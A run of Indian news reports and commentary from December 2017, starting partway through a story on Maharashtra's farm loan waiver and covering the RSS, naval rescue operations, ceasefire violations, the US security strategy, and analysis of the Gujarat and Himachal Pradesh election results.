Jarunde said that the time and effort that went into applying for the waiver is another reason for farmers' displeasure over the implementation of the scheme. While Jarunde had to spend two days to apply for the waiver, according to him, several others had to spend three to four days. "Losing out on three to four days of work can be a major loss for many farmers," he said. Sanjay Agle, a farmer from Gondia district, also said that in several cases, delays were also caused by problems in server connections.

Even among farmers who received the benefit of the scheme, uncertainty persists. For example, Nikhil Gupewar, a farmer from Yavatmal district, recently received an SMS from the District Cooperative Central Bank, but the vaguely-worded message did not mention the amount which was waived, or whether the entire amount had been waived off.

Many others, like Vishnukumar Bahekar, have received no communication from the bank about the status of their application. Bahekar is from Girola village in Gondia, which is close to the border with Chhattisgarh. "Farming is becoming a very uncertain occupation. It is no wonder that many people from this village are moving to cities like Mumbai and Pune for work."

Read other stories in our series on the farm loan waiver here and here
Kolkata: Rashtriya Swayamsevak Sangh chief Mohan Bhagwat is on a week long visit to West Bengal from Tuesday to look into the organisational aspects of the RSS in the state.

Senior RSS functionaries from all over the state will meet and discuss various organisational aspects that the RSS is facing in the state with the Sarsanghchalak.

"The visit is aimed at looking into the organisational growth of RSS in the state and to discuss various aspects regarding the growth of RSS in Bengal," a senior RSS leader said.

Bhagwat s week long visit to West Bengal is of immense political importance as the BJP is trying hard to put up an alternative to the TMC regime in the state.

Bhagwat is also scheduled to address a close door meet of RSS functionaries in Uluberia and Tatiberai in Howrah district on 23-24 December.
Kochi: Navy chief Admiral Sunil Lanba will review 'Operation Sahayam', the search and rescue operations going on off Kerala coast and Lakshadweep and Minicoy islands in the aftermath of Cyclone Ockhi.

The admiral, who arrived here on a three-day visit on Tuesday, will be the chief guest at a two-day seminar being conducted on 'Operational Sea Training and Safety Onboard Ships'.

It is being organised to commemorate the silver jubilee of the Organisation of Flag Officer Sea Training (FOST), from 20-21 December at the Naval Base.

The chief of naval staff will use the opportunity to review 'Operation Sahayam', a full-scale search and rescue operation being conducted by the Southern Naval Command over Southeast Arabian Sea and adjoining Lakshadweep and Minicoy islands in the aftermath of the very severe Cyclonic Storm 'Ockhi', a defence release said.

Admiral Lanba was received by Vice-Admiral AR Karve, the Flag Officer Commanding-in-Chief, Southern Naval Comand on his arrival at the naval air station, INS Garuda, it said.

The admiral is accompanied by Reena Lanba, President, Naval Wives Welfare Association, who would be reviewing the welfare activities being undertaken by NWWA (southern region).

The navy chief will leave Kochi on 21 December.
New Delhi: Pakistan violated the ceasefire a total of 881 times along the Line of Control (LoC) and the International Border (IB) in Jammu and Kashmir this year, killing 30 people, the Lok Sabha was informed on Tuesday.

Minister of State for Home Hansraj Ahir said Pakistan has violated the ceasefire along the LoC in Jammu and Kashmir 771 times till 10 December, and 110 times along the IB till November-end.

In these incidents of firing from across the border, 30 people, 14 army personnel, 12 civilians and four BSF personnel were killed.

No cross-border firing has been reported in other states except Jammu and Kashmir along the border with Pakistan, he said replying to a written question.

The truce between India and Pakistan along the International Border, the Line of Control and the Actual Ground Position Line in Jammu and Kashmir came into force in November 2003.

India shares a 3,323-kilometre-long border with Pakistan, of which 221 kilometre of the IB and 740 kilometre of the LoC fall in Jammu and Kashmir.

In 2016, there were 449 incidents of ceasefire violations in which 13 civilians and 13 security personnel were killed and 83 civilians and 99 security personnel were injured.
Washington: Describing India as a "leading global power", the US on Monday unveiled its new National Security Strategy (NSS) that said it will "deepen" America's strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region.

With an eye on China's One Belt One Road (OBOR) and the China-Pakistan Economic Corridor (CPEC), the US administration said it will help South Asian countries "maintain their sovereignty" as China increases its influence in the region.

The NSS also seeks Pakistan to take decisive action against terrorists.

"We welcome India's emergence as a leading global power and stronger strategic and defence partner," said the National Security Strategy unveiled by President Donald Trump.

The 68-page document said the US will seek to increase quadrilateral cooperation with Japan, Australia, and India.

"We will expand our defence and security cooperation with India, a Major Defence Partner of the United States, and support India's growing relationships throughout the region," the NSS said, noting that its vision for Indo-Pacific excludes no nation.

India-US defence relationship was mentioned in the context of Indo-Pacific region, whereas it gave a very prominent role to India in South and Central Asia.

"We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region," according to the NSS which the White House said sets a positive strategic direction for the US that will restore America's advantages in the world and build upon our country's great strengths.

The NSS said it will press Pakistan to intensify its counter-terrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials.

"The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets," it said adding the US will continue to partner with Afghanistan to promote peace and security in the region.

In an apparent reference to the OBOR and CPEC, the NSS said, "We will help South Asian nations maintain their sovereignty as China increases its influence in the region".

The recent Chinese move in Sri Lanka and Maldives is seen as an effort on their part to encroach eat on their sovereignty with similar fears in Pakistan.

India has objected to CPEC as it passes through Pakistan-occupied Kashmir.

The US, it said, continues to face threats from transnational terrorists and militants operating from within Pakistan.

"The prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention," NSS said.

US interests in the region include countering terrorist threats that impact the security of the US homeland and its allies, preventing cross-border terrorism that raises the prospect of military and nuclear tensions, and preventing nuclear weapons, technology, and materials from falling into the hands of terrorists, it said.

"We seek an American presence in the region proportionate to threats to the homeland and our allies. We seek a Pakistan that is not engaged in destabilising behaviour and a stable and self-reliant Afghanistan," the NSS said.

Insisting that it is committed to supporting the Afghan government and security forces in their fight against the Taliban, al-Qaeda, ISIS, and other terrorists, the NSS said the US will bolster the fighting strength of the Afghan security forces to convince the Taliban that they cannot win on the battlefield and to set conditions for diplomatic efforts to achieve enduring peace.

"We will insist that Pakistan take decisive action against militant and terrorist groups operating from its soil," it said.
Lucknow: Uttar Pradesh Police on Tuesday directed all district police chiefs to ensure that Christmas festivities go smoothly without any untoward incident, two days after the Hindu Jagran Manch warned Aligarh schools against celebrating the festival.

ADG (Law and Order) Anand Kumar also directed all district police chiefs of the state to ensure the freedom of practising one's religion is protected and appropriate action should be taken in this regard.

"The Aligarh SSP (Senior Superintendent of Police) and all district police chiefs have been directed to take strict legal action against those indulging in intimidation of any sort," he said.

This directive comes after RSS-affiliate Hindu Jagran Manch issued a circular on Sunday, threatening the management of all Aligarh schools against celebrating Christmas saying, if they did so, it would be "at their own risk".
New Delhi: Secularism is "safe" in India because it is in the DNA of its people, Vice President M Venkaiah Naidu said on Tuesday and stressed on telling the new generation about Indian culture of living in harmony.

Naidu also said that India was the most tolerant country and the best model for secularism. He also said the duty of the majority community is to win over minorities and the duty of the minority community is to think in terms of nation first.

Delivering the 10th annual lecture of the National Commission for Minorities, he said India has no history of attacking any country, while there were countries which attacked and looted it.

Noting that Indian civilisation has survived despite such attacks and invasions because it always believed in harmony, he said the new generation should be reminded about the Indian culture and heritage.

The theme of the lecture was 'Minorities in Nation Building'.

"Let me make it very clear and share my thoughts. Secularism is safe in India not simply because of the Constitition. Secularism is safe in India because secularism is in the DNA of Indian people", Naidu said.

He said when he was in politics, he had always said that one should keep the interest of the the nation first, party next and self last.

Naidu, however, said unfortunately for some people the last has become the first.

The vice president said there should be "no feeling of minority and majority". "We are all one. Duty of majority community is to win over minority and the duty of the minority community also is to think in terms of nation first," he said.

Stressing that "development with dignity" of all the people must be the agenda of the nation, he said bringing a bill in the Parliament won't change much unless there is political will and administrative skill.

The vice president saidthe notion of pluralism, inclusion and peaceful co-existence have to be the cornerstones of Indian governance.

He said the minority commission is mandated to suggest and devise appropriate measures for their socio-economic development of minorities.

The commission has the underlying principle of inclusive growth ensuring that the benefits of political democracy reach those who are likely to be left out, he added.

Those present on the occasion included Minority Affairs Minister Mukhtar Abbas Naqvi.
New Delhi: Vice-President M Venkaiah Naidu said on Tuesday that no religion accepts terrorism and terror groups were misusing religion to achieve their political ends.

Stating that some people had objections to his recent comment that terror has no religion, he said, "Anybody who is taking the name of religion and choosing the path of terror is against humanity. This is what I meant."

"I am very clear. Every religion has to be understood properly," Naidu said while delivering the 10th annual lecture of the National Commission for Minorities in New Delhi.

The vice-president said "no religion accepts terrorism" and terror groups were misusing religion to achieve their political ends.

"If you encourage terror, you will become the victim of terror tomorrow. This is what is happening. We are seeing it in our neighbourhood also," he said, adding that some countries were aiding and funding terrorism.

Noting that people are free to pray to any God they believe, Naidu said he visits 'dargah' whenever he goes to his village.

"Many people get surprised (when I tell them that I go to dargah). Now that I am not in politics, I can freely talk about it. If I would have been in politics, then people would have said that he was saying it because of political reasons," he said.

Naidu said that politics was a mission but some politicians had converted it into a "commission". He urged all politicians to "think of nation first".

The vice-president also highlighted the contribution of minority communities, especially in the field of education and medicine.

In his address, Minority Affairs Minister Mukhtar Abbas Naqvi said that over the last three years, the representation of Muslim community in the Central government jobs has increased from 4.5 percent to 9.8 percent.

The government has laid special emphasis on the empowerment of women belonging to the minority communities, he said.

The theme of the lecture was 'Minorities in Nation Building'.
New Delhi: Law Minister Ravi Shankar Prasad on Tuesday said "consensus" after a detailed debate was required to take any decision regarding Section 377 of IPC, which criminalises homosexuality.

He was replying to a debate on two bills passed by the Lok Sabha to repeal obsolete laws and a demand by BJD MP Pinaki Misra to strike down Section 377 of the Indian Penal Code, 1860.

Misra said the Supreme Court has repeatedly said that it is up to Parliament to take any decision on this "archaic" law.

"The 2012 judgment, by which the Delhi High Court in a very bold move struck down (IPC section) 377, was set aside by the Supreme Court in the 2013 judgment on the grounds that it is the job of the legislature to do away with it, and it is not the job of the court to legislate," Misra said.

The BJD MP was referring to the apex court setting aside the Delhi High Court verdict which had decriminalised sex between two consenting adults of different sexual orientation.

The lesbian gay bisexual transgender (LGBT) community has been demanding to scrap of Section 377 of the IPC, under which consensual sexual acts between members of the same sex are an offence entailing punishment up to life term.

"You must give succour to crores of people. Now the number is not in lakhs. The number is in crores," Misra said.

Responding to Misra's demand, the law minister said the issue "needs to have a proper consensus" before arriving at any conclusion.

Last year, Congress MP Shashi Tharoor brought the Indian Penal Code (Amendment) Bill seeking changes in Section 377 of IPC (unnatural offence) but it was defeated in the Lok Sabha.
New Delhi: What kind of education will you impart, if you are unable to remove garbage from your schools  the Delhi High Court on Monday asked the AAP government and the municipal corporations in the national capital.

"It cannot be denied that the liability for collection, removal and disposal of garbage rests on the Municipal Corporation of Delhi, which exercises its functions under the MCD Act," a bench headed by Acting Chief Justice Gita Mittal said.

The bench, also comprising Justice C Hari Shankar, further chided the civic bodies, saying they were "hopelessly unable to do their duty".

"Cleanliness, maintenance of hygiene in the city are your prime duties. If you are not able to do it, what kind of education will you impart? It is sad that you are not able to remove garbage from your schools," the bench observed.

"The point is inability," the bench said and asked the counsel of the Delhi government and the three MCDs if it was not their duty.

The bench directed the authorities to file their replies as regards removal of garbage generated in the schools run by the Delhi government as well as the MCDs and fixed the matter for 23 April, 2018.

The directions of the court came during the hearing of a plea filed by an NGO, Justice for All, through its counsel Khagesh Jha, who urged the court to direct the authorities to make appropriate arrangements for daily collection and disposal of garbage from the premises of these schools.

The petition claimed that multiple agencies in Delhi were busy shifting the blame on each other and that there was no coordination between these agencies as regards improving the infrastructure for the students.

The petition also dealt with the "poor" condition of toilets in these schools.
Hours after sealing victories in Assembly elections in Gujarat and Himachal Pradesh, the Bharatiya Janata Party's (BJP) top decision-making body on Monday got down to the task of choosing the next chief ministers in the two states, according to media reports.

The BJP has dispatched two teams for the purpose, one led by Finance Minister Arun Jaitley and party general secretary Saroj Pandey to Gandhinagar, and another led by Defence Minister Nirmala Sitharaman and Narendra Tomar to Shimla, Union health minister JP Nadda said.

FM Arun Jaitley and General Secy of the party Saroj Pandey will go as observers to Gujarat & discuss about the leadership in the state. Similarly Defence Minister Nirmala Sitharaman and Narendra Tomar will go to Himachal Pradesh to discuss about the leadership there: JP Nadda pic.twitter.com/nSWF2znl5m  ANI (@ANI) December 18, 2017

"They will speak to the MLAs to elect new leaders of the party," NDTV quoted Nadda as saying. BJP's central parliamentary board met in New Delhi after Prime Minister Narendra Modi's victory speech where he called the support for the party an indication that the country was ready for "reform agenda as every citizen wants India transformed", the report added.

According to India Today, Textiles and I&B minister Smriti Irani is the probable front-runner in the race to the chief minister's seat in Gujarat. However, she has denied the speculations saying, "I am definitely not a contender."

The report added that Union minister of state for road transport Mansukh L Mandaviya is the second favourite candidate to replace Vijay Rupani in Gandhinagar.

Meanwhile, many top leaders in Himachal Pradesh lost their seats by narrow margins in the results that were announced on Monday.

BJP's chief ministerial face for the Himachal Pradesh polls, Prem Kumar Dhumal, was defeated from the Sujanpur Assembly seat. The former chief minister lost to his Congress rival Rajinder Singh Rana by 1,919 votes, according to the Election Commission. Dhumal got 23,369 votes against 25,288 votes polled by Rana.

With inputs from agencies
The Gujarat election results have given glimpses of larger trends. For one thing, BJP's overwhelming domination of Indian politics has probably given way. The results from both Gujarat and Himachal Pradesh indicate a relatively close race, the sort that would have been very unlikely until four months ago.

The flip side of this trend is an important question: Has the anger against the Congress corruption, which had built to fever pitch after the Commonwealth Games, abated?

The BJP has convincingly won both the Gujarat and Himachal Assemblies, but these results could just indicate that the tide has turned. The BJP under Modi is no more the unassailable party of nationalism and governance, which it had become in parts of the country where the contest was largely between the Congress and the BJP.

The BJPs spinmasters smartly turned the results into a victory of 'reforms against anti-reforms' in an attempt to turn the spotlight away from the public irritation over the way the GST schemes have been implemented. However, that irritation has undoubtedly dented the BJPs image, even if it did not lead to a defeat of the party.

Improved Congress showing

The gap between the Congress and the BJP in the 182-member Gujarat Assembly was only about 20, but two facts stand out. One, it was a close election. In scores of constituencies, the gap between the winner and the second candidate was relatively small.

Two, the Congress fared relatively well despite having no credible local face, a still-not-inspiring party president, and the effects of infighting and poor ticket distribution.

At about a third of the new House, the Congress won a decent number of seats even in Himachal, where a Congress defeat was generally expected, since the state traditionally swings between the Congress and the BJP and the Congress was the incumbent.

The Congress relatively strong showing does not indicate that it is popular or that its new leader, Rahul Gandhi, inspires confidence. The story is that the BJP lost ground rather than that the Congress gained ground.

Last lap attacks

Robust attacks of Congress leaders may have helped the BJP consolidate a little in the home stretch. The attacks centred on whether Rahul Gandhi is a Hindu, and the suggestion that Congress leaders, including former Prime Minister Manmohan Singh, discussed the Gujarat elections with the Pakistan High Commissioner.

At an election rally during the last lap, Prime Minister Narendra Modi spoke of the dinner at the home of former Congress minister Mani Shankar Aiyar, at which several leaders, writers and others met a former Pakistan foreign minister, who was in India for a wedding. The dinner was projected as if the Congress leaders were strategising over the Gujarat elections at that dinner.

This sort of narrative represents a disturbing trend. Whereas India  and, even more so, the specific issue of Jammu and Kashmir  has often figured in Pakistani politics over the past several decades. But Pakistan has not been an issue in an Indian election, that too a state Assembly election.

On the basis of various reports from the ground, there can be no doubt that there was a strong anti-incumbency sentiment. Much of the anger was about the state government, but a part of the public anger was over Central issues such as GST implementation, demonetisation, economic slowdown, and general disappointment with governance.

Caste-based divisions

The BJPs spokespersons also targeted the Congress closeness to caste-based parties and groups in the Gujarat campaign. The point was repeatedly made as the results were being announced.

Party president Amit Shah even said that the 2019 Lok Sabha general elections would be held in a good atmosphere if such divisive politics from the Congress did not continue. That the BJP would win those elections was definite, he added.

This was an ironic perspective, since several analysts have raised questions about whether the ruling party will fall back on such Hindutva-based issues as the Ram temple at Ayodhya, the 'integration' of Kashmir, and triple talaq among Muslims for the 2019 general elections  particularly if the partys record on 'development' continues to be suspect.
National Conference leader Farooq Abdullah on Tuesday dismissed Prime Minister Narendra Modi's allegations that Congress conspired with Pakistan to interfere in Gujarat Assembly elections. In reference to the prime minister's accusations, he said, "Pakistan koi saazish nahi karta (Pakistan never conspires)."

#WATCH: On being asked if a conspiracy to defeat PM Modi in elections was made in Pakistan, Farooq Abdullah says, 'he himself went to Pakistan,' adds that, 'Pakistan koi saazish nahi karta.' pic.twitter.com/HGw94ltzuX  ANI (@ANI) December 19, 2017

He further said that Modi had gone to Pakistan for a meal when he paid a surprise visit to Lahore and attended former prime minister Nawaz Sharif's grand daughter's wedding ceremony. "Did the Pakistanis conspire against Modi back then?" asked the National Conference leader, according to The Times of India.

Without naming Mani Shankar Aiyar, he said that the Grand Old party would have won Gujarat elections if some leaders had avoided using wrong words, ANI reported. However, regarding Himachal Pradesh elections, he said it was a regular pattern there.

In Himachal Pradesh, one party unseats the other every five years, its is nothing new, he was quoted as saying by The Indian Express.

At a rally in Gujarat's Palanpur during the campaigning for the Gujarat polls, Modi sought an explanation from the Congress over its top partymen who purportedly met leaders from the neighbouring country.

The prime minister also raised questions over the alleged appeal by former director general of the Pakistan Army, Sardar Arshad Rafiq, that senior Congress leader Ahmed Patel be made Chief Minister of Gujarat.

"There were media reports about a meeting at Mani Shankar Aiyar's house. It was attended by Pakistan's high commissioner, Pakistan's former foreign minister, India's former vice-president and former prime minister Manmohan Singh," Modi had said. The meeting at Aiyar's house carried on for almost three hours, Modi said. "The next day, Aiyar called me 'neech'. This is a serious matter," he added.
With the eyes of the entire nation on the Gujarat Assembly Election, the BJP pulled out a narrow victory over a resurgent Congress. In the end, the party achieved a simple majority in the state Assembly on Monday, grabbing a sixth straight term in office while preventing Congress of making a comeback in the state. The BJP clinched 99 seats out of 182, while the Congress improved its tally as compared to five years ago, winning 77 seats. Smaller parties and Independent candidates clinched six seats.

The election was the subject of much media speculation and every outlet worth its salt came out with its analysis and coverage of it as soon as it could. The big dailies however had to wait till Tuesday to have their say on the results.

The largest English daily, The Times of India ran with BJP hits 6, but stalls at 99 in Guj. Under a Team TOI byline, the article laid out the results noting that the win left BJP one short of the Left's seven-term record in West Bengal. It however gave prominent space to the Congress' surge and the efforts made by its president Rahul Gandhi and this temple runs. Himachal Pradesh too received coverage but it was clear that the Gujarat election was the big one. Interesting, both the chief ministerial candidates in Himachal Pradesh managed to land up in the "Losers" column in the paper.

The other major newspaper, Hindustan Times, opted for Gujarat is still Modi's as their headline. Following a similar pattern, the top fold was dominated by the Gujarat election and Rahul's impressive performance. The Himachal election was relegated to the bottom fold as the paper asserted that "the hills are now saffron"

The Indian Express  operating without the full-page ad that The Times of India and Hindustan Times placed before their coverage  started with "Modi's December Spring". Starting with the BJP's victory along with the customary beaming Modi image, it noted that Rahul and the Opposition would certainly gain hope from the result which was surprisingly close. Opting for a breakdown of the Gujarat election for the first page, the paper pushed the Himachal election to the inside pages.

The Hindu was practically minimalist in its front page coverage of Gujarat election. Under a headline of BJP holds Gujarat, wrest Himachal from Cong., the paper put Amit Shah front and centre with Modi's image surprisingly missing from the first page. It bucked the trend and put the Himachal election in the top fold noting that the BJP's chief ministerial candidate had lost the election. There was no election coverage on the bottom fold except a few quotes from regional political leaders like Mamata Banerjee and Omar Abdullah.

DNA led with a section on What the verdicts mean at the top of the page before asserting Modi saves BJP in Gujarat. The main article talked about both the elections and the quotes from major leaders like Modi, Shah and Gandhi were part of the coverage. The customary winners and losers infographic found its way on the front page as well.

Mint only had half its front page available for editorial content and its headline read Modi-led BJP juggernaut rolls on. Covering most angles of the two elections, it too saw Congress' performance as a morale booster for the party.

Among the pink papers, The Economic Times laid out the economic impact of the elections under the headline Modi rules home and hills. It noted the effect on the stock market which went down and up depending on the trends the elections threw up.

Finally, Business Standard too ran with something similar with an emphasis on Congress' performance. It led with BJP wins, but Cong doesn't lose as it laid down the two elections and the effect it had on the markets on Monday.

The major papers then clearly had similar views on the election. All of them recognised the BJP's win in both states but were careful to point out that the Congress' progress was significant. All of them recognised Modi's contribution to the result and had either him alone or with Amit Shah on the front page. Only The Hindu bucked this trend and put Shah alone on the front page. Nearly all the papers carried infographics in their coverage and a list of winners and losers was fairly standard too.

As expected, Himachal got the short shrift as the Gujarat election was the one everyone was looking at. However Dhumal's loss gave an interesting twist to the election which was duly lapped up by the newspapers.

With inputs from agencies
Ahmedabad: Dalit activist Jignesh Mevani, who won the assembly polls from Vadgam in Gujarat, said on Monday that the country is ready for change in the 2019 Lok Sahba elections as the BJP could get only 99 seats despite its repeated claims of winning 150.

"The country is ready for change. That's why against the target of 150 seats you could manage to win only 99. And it is just the beginning. A storm will come for a change," Mevani said in a tweet.

Mewani's tweet was in apparent reference to Prime Minister Narendra Modi's remarks on Monday in which he said that the country was ready for economic reforms.

Mevani also took potshots at Modi in a Facebook post by referring to Vadnagar, the home town of the prime minister.

"The people of Vadgam has given reply to the one from Vadnagar. In 2-4 days a road show from Vadgam to Vadnagar will be arranged and an agitation of cleanliness workers will be planned," he said.

Mevani had said on Saturday that he will organise a 50-kilometre road show from Vadgam to Vadnagar.

Mevani had contested the polls as an Independent and was backed by the Congress. The 36-year old Dalit leader also vowed to raise issues concerning farmers and labourers in the state assembly.

Mevani has led a movement in Gujarat for empowerment of Dalits, who comprise about seven per cent of the state's population.

He became the face of the Dalit backlash after four Dalit youths at Una in Gujarat were whipped by cow vigilantes.
In the final tally, it is a difference of only 19 seats that made BJP the sixth-time winner in Gujarat, keeping Congress and its allies at the number two spot, even though they came painfully close to surprising everybody.

But in the final analysis, the actual difference is the presence of BJPs foot soldiers at the grassroots that the Congress could not defeat. Years from now, the public will remember that the BJP won the 2017 Assembly election in Gujarat to form the government for the sixth term consecutively, and the difference in numbers between the BJP and the Congress will be resigned to the footnotes of history.

After all Jo Jeeta Woh Sikandar! (The one who wins is King).

This historical feat of 22 straight years in power is bettered only by the CPM-led Left Front government in West Bengal which enjoyed 34 years in power  seven consecutive terms from 1977 to 2011.

What then, is the common denominator between the BJP and the Left Front that ensured them victories term after term in two different corners of the country? Why does the BJP under Modi continue to win election after election?

The answer lies in the weeds. Or more specifically, in the grassroots network.

In the Gujarat election, Rahul Gandhi displayed aggressive campaigning skills and led from the front, unlike in the past. But the Congress lost, despite anti-incumbency and the Hardik Patel factor working in its favour. Why? Again, it was the grassroots network, or rather, the lack of one.

The grassroots factor

Unlike the Congress of today, the BJP has a strong and committed cadre at the grassroots  similar to that of the Left Front of old in West Bengal  which provides the partys foot soldiers who ensure victory.

BJP in Gujarat has a committed cadre of its own, besides the workers from the RSS and its affiliates, who have a strong reach at the ground level. They have firm roots and act as foot soldiers. Mobilisation is almost on auto-drive, Gujarat-based Mukesh Shah, a political analyst and an academician told Firstpost.

This gives the BJP an edge over the Congress, as the latter has lost its grassroots connectivity. Seva Dal, the front organisation of the Congress that once worked at grassroots level for the party has almost been non-existent in Gujarat for over 40 years, added Shah, also editor of Sadhana Saptahik, a Gujarati weekly.

The electoral victories of BJP are attributed to Modi and party president Amit Shah, both of who are exceptional at cadre management.

Besides Prime Minister Modis charishma and his tenure as Gujarat CM, its the party cadre and micro management of Amit Shah that ensured BJPs victory in Gujarat election for the sixth time in a row, pointed out Delhi BJP spokesperson, Harish Khurana.

The party workers who had been an integral part of Gujarat and Himachal Pradesh elections told Firstpost that Shah chalked out a fool-proof blue-print for electioneering  from planning at the top to booth level management. The party workers are given specific tasks and responsibilities at multiple levels. There is a strong focus on connecting with the voters at the grassroots level and mobilising them up to the respective booths, a BJP worker from Rajkot said.

Manoj Mehlawat, corporator of Vasant Kunj in New Delhi added, Im a ground level worker. Our party president experiments with new faces, with winnability factor and we witnessed it during the MCD polls. In BJP, every worker at the bottom knows that he or she can rise to higher levels without having any political background or dynastic connections. This is a driving force for us.

Mobilisation of voters has been another key strength of the BJP, which again depends on a strong cadre at the ground level. Besides its traditional pockets, the BJP and RSS-affiliated cadre also penetrated into Muslim dominated seats in Gujarat, breaking the myth that Muslims never vote for the BJP.

The Gujarat Muslims have broken the myth of not voting for the BJP. There are 22 Muslim dominated seats in Gujarat, with 55% Muslim voters. Without their contribution, the BJP couldnt have won the election. The dent that Hardik Patel, Jignesh Mevani and Alpesh Thakore together caused to the BJP, was compensated by Muslim votes. The BJP cadre working at the grassroots penetrated these pockets and undertook the task of distribution of voting slips to booth level mobilisation, said political analyst and chancellor of Maulana Azad National Urdu University, Zafar Sareshwala.

Hafiz Mohd Sabreen, spokesperson, Delhi BJPs minority cell added, Even elsewhere, like in Muslim dominated state of Uttar Pradesh, they voted for Prime Minister Modis development agenda, otherwise getting a majority both in Lok Sabha and Vidhan Sabha elections wouldnt have been possible. Now, Muslims are gradually realising the ulterior motive of other parties, who resorted to an appeasement policy unlike the BJP. Modijis Sabka Saath, Sabka Vikas is for the development of 125 crore Indians, irrespective of religion and caste.
Call it the movement of the young, the brave and the aspirational. Like every movement, it has a face. But this one has three  Hardik Patel, Jignesh Mevani and Alpesh Thakor, each one of them 40 or below, each a counterfoil to Indian politicians, who fade away rather than retire. Each represent a separate meaning, but together convey a sense of daring and hope.

It is they who symbolise a worry for the Bharatiya Janata Party even in its triumph in Gujarat. They represent a sliver of hope for the Congress  after all, it is, for a change, on the right side of demography. Indeed, the triumvirate of Hardik, Mevani and Thakor created a narrative that the Congress adopted as its own to mount a challenge to the BJP. Had these three young men not descended on Gujarat, the BJP just might have repeated its 2012 Assembly electoral performance.

Two of these three men contested the elections  Jignesh and Mevani won. Hardik, a callow 24, did not enter the fray. He is still months away from attaining the minimum age required to contest in elections, whether Assembly or Parliament. Yet, it is he who sounded the bugle of rebellion against Prime Minister Narendra Modi, openly challenging him and his achievements, when few dared to speak out.

But the significance of Hardik, Jignesh, and Alpesh isnt confined to Gujarat. Their impact is all-India. They represent a craving among the young to build an India of their dreams. It is evident from the protests in several universities, the many elections the BJPs student wing  the Akhil Bharatiya Vidyarthi Parishad  has lost.

The ABVP couldnt edge out the Left from the Jawaharlal Nehru University. It lost the top two posts of president and vice-president in Delhi University. It drew a blank in Hyderabad Central University, which had been agog over the suicide of Rohith Vemula for nearly a year. In Rajasthan University as well as the Punjab University, the ABVP could only win the position of joint secretary.

There has been a claim that the ABVP loses in those universities which are traditionally Left, often dubbed "anti-national" for their radical rhetoric. But this descriptor doesnt apply to universities in Rajasthan and Punjab as it doesnt to Varanasis Mahatma Gandhi Kashi Vidyapeeth, where too the ABVP lost. The ABVP was vanquished in Central University, Gujarat and the Allahabad University. It encountered losses even in Assam's Gauhati University, a state where erstwhile student leaders have turned to the BJP even as they age.

The rise of Gujarats triumvirate and losses in university elections should worry Modi and the BJP. After all, in the run-up to the 2014 Lok Sabha elections, Modis most avid supporters were the young. His bid for the prime minister's job began with a rousing speech at Delhis Sri Ram College of Commerce. Modi seems to have lost out on the support of at least the young and the idealist.

It is a worry for Modi because on 12 March, after spearheading the BJP to an astonishing victory in Uttar Pradesh, he said he saw signs that he could achieve his dream of building a "New India" by 2022. Modi mentioned two of the signs: A New India of the dreams of its yuva shakti (youth power) is taking place A new India that fulfils aspirations of its nari shakti (womens power) is taking place.

But the signs we see around us seem to indicate an opposite trend: The youth in India are becoming increasingly conflicted about Modis "New India". For instance, Jawaharlal Nehru University has been in ferment over the idea of nationalism, whether it should be Hindu and jingoistic in nature or represent religious pluralism. Or take the protests witnessed earlier this year in Banaras Hindu University, where women students clamoured for the removal of gender discriminatory restrictions imposed on them. The BJP was found on the side opposed to students in the two universities.

Nationalism and gender apart, caste is the third factor agitating the young, who seem increasingly frustrated with the India that is evolving. We can read this in an analysis of the personality and rhetoric of Hardik, Jignesh and Alpesh.

Hardik grabbed the national headlines when he led the movement of the Patel community for inclusion in the Other Backward Castes (OBCs) list. Though not upper caste in jati status, the Patels were excluded from the OBC category because they were not deemed socially and educationally backward. Indeed, they are not. But agrarian distress and the poor rate of job creation have incited the Patels to demand reservation, which has enabled those from social groups lower to them to become government officers.

We may disagree with Hardiks conceptual understanding of affirmative action, yet the Patel movement symbolises the growing anxiety among the young about their future. He has articulated the growing gap between aspirations and their eventual realisation. From this perspective, Hardik represents the frustration of the youth.

It is popularly assumed that the state cares for the weak and mollifies the disgruntled. Yet when the Patels organised a rally to demand reservation, they were fired upon and beaten black and blue. Worse, Hardik had sedition charges slapped on him. Ultimately, the states highhandedness turned Hardik against the BJP, articulated often in the rallies he had addressed during the election campaign. He urged the voters to teach the BJP a lesson for becoming arrogant and callously treating those who were the partys mainstay for long. Hardik, thus, came to represent aspirations and frustrations of the young and their rebellious streak.

Jignesh is arguably the most cerebral of the three. He was pitchforked into the limelight after four Dalits had been flogged for skinning a dead cow in Una. Then a member of the Aam Aadmi Party, he resigned after seeking the partys permission to lead a long march from Ahmedabad to Una last year. It was a protest against the atrocities committed on Dalits. But he widened the ambit of the movement by demanding land for his community so that it could overcome its marginalisation.

Jignesh symbolises the Dalit consciousness that seeks social equality, self-respect and economic rights. He didnt join the Congress, but received its support. His political choice represents the belief among a large section of educated Dalits that Hindutvas principal aim is to co-opt Dalits and deny them political agency. From this perspective, Jignesh is the political voice to the feelings of hurt that were witnessed in Hyderabad Central University.

Of the three, the meaning Alpesh signifies is the trickiest to comprehend. His rise was predicated on his opposition to the Patidar demand for reservation. Thakor thought that an OBC status for Patels would imply that this relatively better-off caste would gobble up a large chunk of reserved jobs. He was ready to counter the Patels brinkmanship with his own Kshatriya-Thakor Sena, initially established to launch an anti-liquor campaign.

Alpesh represents the suspicion among the OBCs that there is a surreptitious attempt to dilute reservation for them. He is a warning that the OBCs wouldnt tolerate the tinkering with the quota system to their detriment.

The three young leaders came together despite their interests being different. For instance, both the Patels and OBCs are among the biggest oppressors of Dalits. The interests of Patels and OBCs are at variance, as of now, on the issue of reservation. What binds them together is their opposition to the BJPs increasing arrogance and their own aspirations and frustrations.

It is hard to tell whether they will remain together now that the BJP will form the government in Gujarat. But if they do, they represent a possibility of papering over the chasm between castes. Perhaps the past experience of the Congress at ironing out differences among groups under its umbrella led to them coming together on one platform.

The three leaders also signify the importance that caste has for the young. Hindutva hasnt been able to subsume caste. Whether the three leaders can recalibrate caste dynamics, turn its functioning more democratic and mutually accommodating is the hope Hardik, Jignesh and Alpesh hold out. Three cheers to that!
That the formidable Narendra Modi-Amit Shah duo would look fallible on home turf and Rahul Gandhi would discover his political mojo on almost hostile political terrain conveys several important messages for Indian politics.

Despite the fact that the BJP managed to pull through (attaining majority by a margin of seven seats), the long-drawn intense battle in Gujarat could well have changed the Modi-centric template of electoral politics in recent years, which everyone thought was impossible to escape from till at least a credible opposition emerged.

